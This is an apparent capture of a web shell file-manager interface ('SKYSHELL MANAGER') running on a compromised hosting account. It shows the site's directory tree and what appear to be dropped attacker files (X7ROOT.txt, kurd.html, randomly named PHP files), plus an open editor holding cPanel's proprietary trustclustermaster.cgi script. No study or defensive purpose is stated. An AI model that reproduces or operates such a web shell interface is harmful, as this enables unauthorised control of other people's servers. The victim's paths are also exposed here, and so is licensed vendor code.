📁
SKYSHELL MANAGER
PHP v8.2.30
Create
Create
Path:
root
/
home
/
qooetu
/
costes.qooetu.com
/
Name
Size
Perm
Actions
📁
.well-known
-
0755
🗑️
🏷️
🔒
📁
2e19d9
-
0755
🗑️
🏷️
🔒
📁
6b114
-
0755
🗑️
🏷️
🔒
📁
Modules
-
0755
🗑️
🏷️
🔒
📁
app
-
0755
🗑️
🏷️
🔒
📁
assets
-
0755
🗑️
🏷️
🔒
📁
bootstrap
-
0755
🗑️
🏷️
🔒
📁
cgi-bin
-
0755
🗑️
🏷️
🔒
📁
config
-
0755
🗑️
🏷️
🔒
📁
css
-
0755
🗑️
🏷️
🔒
📁
database
-
0755
🗑️
🏷️
🔒
📁
images
-
0755
🗑️
🏷️
🔒
📁
js
-
0755
🗑️
🏷️
🔒
📁
nbproject
-
0755
🗑️
🏷️
🔒
📁
public
-
0755
🗑️
🏷️
🔒
📁
resources
-
0755
🗑️
🏷️
🔒
📁
routes
-
0755
🗑️
🏷️
🔒
📁
storage
-
0755
🗑️
🏷️
🔒
📁
tests
-
0755
🗑️
🏷️
🔒
📁
uploads
-
0755
🗑️
🏷️
🔒
📁
vendor
-
0755
🗑️
🏷️
🔒
📁
wp-admin
-
0755
🗑️
🏷️
🔒
📁
wp-content
-
0755
🗑️
🏷️
🔒
📁
wp-includes
-
0755
🗑️
🏷️
🔒
📄
.htaccess
0.23 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
COOKIE.txt
0.2 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
X7ROOT.txt
0.27 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
defaults.php
1.29 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
engine.php
0 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
error_log
813.08 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
features.php
11.28 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
googlecfb82e09419fc0f6.html
0.05 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
index.php0
1.56 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
inputs.php
0.12 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
kurd.html
1.07 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
library.php
0 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
min.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
p.php
2.75 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
php.ini
0.04 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
product.php
1.78 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
qpmwztts.php
0.74 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
robots.txt
0.32 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
tovmbkwh.php
0.74 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
tyyffovi.php
0.74 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
veoxv.html
1.23 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
Edit: trustclustermaster.cgi
#!/usr/local/cpanel/3rdparty/bin/perl # cpanel - whostmgr/docroot/cgi/trustclustermaster.cgi # Copyright 2009 cPanel, L.L.C. # All rights reserved. # copyright@cpanel.net http://cpanel.net # This code is subject to the cPanel license. Unauthorized copying is prohibited use strict; use Cpanel::Form (); use Cpanel::Hostname (); use Cpanel::Accounting (); use Cpanel::Encoder::Tiny (); use Cpanel::Ips::Fetch (); use Cpanel::Logger (); use Cpanel::Version::Full (); use Whostmgr::HTMLInterface (); use Whostmgr::DNS::Cluster (); use Whostmgr::DNS::Cluster::UI (); use Cpanel::PwCache (); use Cpanel::LoadModule (); use Cpanel::DNSLib::PeerConfig (); # PPI USE OK ~ We can't rely on customer config modules to set this up right ## no critic(RequireUseWarnings) # init_app() will init ACLS and verify we have the # cluster acl. TODO: Refactor all the cgis # to use Whostmgr::CgiApp::DnsCluster Whostmgr::DNS::Cluster::UI::init_app(1); my %FORM = Cpanel::Form::parseform(); my $logger; my $cluster_user = Whostmgr::DNS::Cluster::get_validated_cluster_user_from_formenv( $FORM{'cluster_user'}, $ENV{'REMOTE_USER'} ); Whostmgr::DNS::Cluster::UI::render_cluster_masquerade_include_if_available($cluster_user); my $homedir = Cpanel::PwCache::gethomedir($cluster_user); my $selfhostname = Cpanel::Hostname::gethostname(); my $selfversion = Cpanel::Version::Full::getversion(); # Validate host parameter my $clustermaster = $FORM{'clustermaster'}; $clustermaster =~ s/\///g; $clustermaster =~ s/\.\.//g; $clustermaster =~ tr/\r\n\f\0//d; $clustermaster =~ s/^\s+//g; $clustermaster =~ s/\s+$//g; my $hostname = $clustermaster; $FORM{host} = $hostname; if ( $clustermaster !~ /^\d+\.\d+\.\d+\.\d+$/ ) { if ( my $inetaddr = gethostbyname($clustermaster) ) { require Socket; $clustermaster = Socket::inet_ntoa($inetaddr); } else { # Adding this logger statement to better indicate failures to connect in reverse trust relationship setup. CPANEL-6911 _logger()->warn("DNS lookup failed for $clustermaster while attempting to establish a remote DNS Trust Relationship."); Whostmgr::DNS::Cluster::UI::fatal_error_and_exit("Dns Lookup Failed for $clustermaster"); } } # Validate the user parameter my $user = $FORM{'user'}; $user =~ tr/\r\n\f\0//d; $user =~ s/^\s+//g; $user =~ s/\s+$//g; Whostmgr::DNS::Cluster::UI::fatal_error_and_exit("Invalid user given") if !$user; # Validate the pass parameter my $pass = $FORM{'pass'}; $pass =~ tr/\r\n\f\0//d; $pass =~ s/^\s*\-+BEGIN\s+WHM\s+ACCESS\s+KEY\-+//g; $pass =~ s/\-+END\s+WHM\s+ACCESS\s+KEY\-+\s*$//g; $pass =~ s/^\s+//g; $pass =~ s/\s+$//g; Whostmgr::DNS::Cluster::UI::fatal_error_and_exit("Invalid access hash given") if !$pass; if ( grep { $_ eq $clustermaster } Cpanel::Ips::Fetch::fetchipslist() ) { Whostmgr::DNS::Cluster::UI::fatal_error_and_exit("The specified IP address would create a cyclic trust relationship: $clustermaster."); } my $whm = Cpanel::Accounting->new( 'host' => $clustermaster, 'usessl' => 1, 'ssl_verify_mode' => 0, 'user' => $cluster_user, 'accesshash' => $pass, ); my $version = $whm->version(); if ( $whm->{'error'} ) { if ( $whm->{'error'} =~ /401/ ) { Whostmgr::DNS::Cluster::UI::fatal_error_and_exit("The remote server did not accept the access hash. Please verify the access hash and username and try again. The exact message was $whm->{'error'}. For more information check /usr/local/cpanel/logs/login_log on the remote server."); } Whostmgr::DNS::Cluster::UI::fatal_error_and_exit("There was an error while processing your request: Cpanel::Accounting returned [$whm->{'error'}]"); } # Check version my ( $majorv, $minorv, $rev ) = split( /\./, $version ); if ( $majorv < 6 ) { Whostmgr::DNS::Cluster::UI::fatal_error_and_exit("This operation requires the remote server to be running WHM 6.0 or later. The server reported version: $version"); } $FORM{module} ||= 'cPanel'; my $pm = $FORM{module}; $FORM{dnsrole} = 'standalone'; my $namespace = "Cpanel::NameServer::Setup::Remote::$pm"; Cpanel::LoadModule::load_perl_module($namespace); my ( $status, $statusmsg, $notices, $servername ); { # TODO: # # Setting $ENV{'REMOTE_USER'} is a workaround to ensure all third party # Cpanel::NameServer::Setup::Remote modules continue to work # # We should come up with a better method to pass the user to # setup the nameserver remote for in the future # local $@; local $ENV{'REMOTE_USER'} = $cluster_user; # Eval 'just in case' ( $status, $statusmsg, $notices, $servername ) = eval { $namespace->setup(%FORM) }; if ( !$status ) { $statusmsg ||= $@; print qq{<div class="errormsg" id="trustRelationshipFailed">The trust relationship could not be established, please examine /usr/local/cpanel/logs/error_log for more information.<br />} . join( '<br />', split( /\n/, Cpanel::Encoder::Tiny::safe_html_encode_str($statusmsg) ) ) . qq{</div>}; warn "Could not write DNS trust configuration file: $!"; Whostmgr::HTMLInterface::sendfooter(); exit; } print qq{<br /><br /><div class="okmsg" id="trustRelationshipFailed">The trust relationship has been established from the remote server to this server.</div>}; } Whostmgr::HTMLInterface::sendfooter(); exit; sub _logger { return $logger ||= Cpanel::Logger->new(); }
Save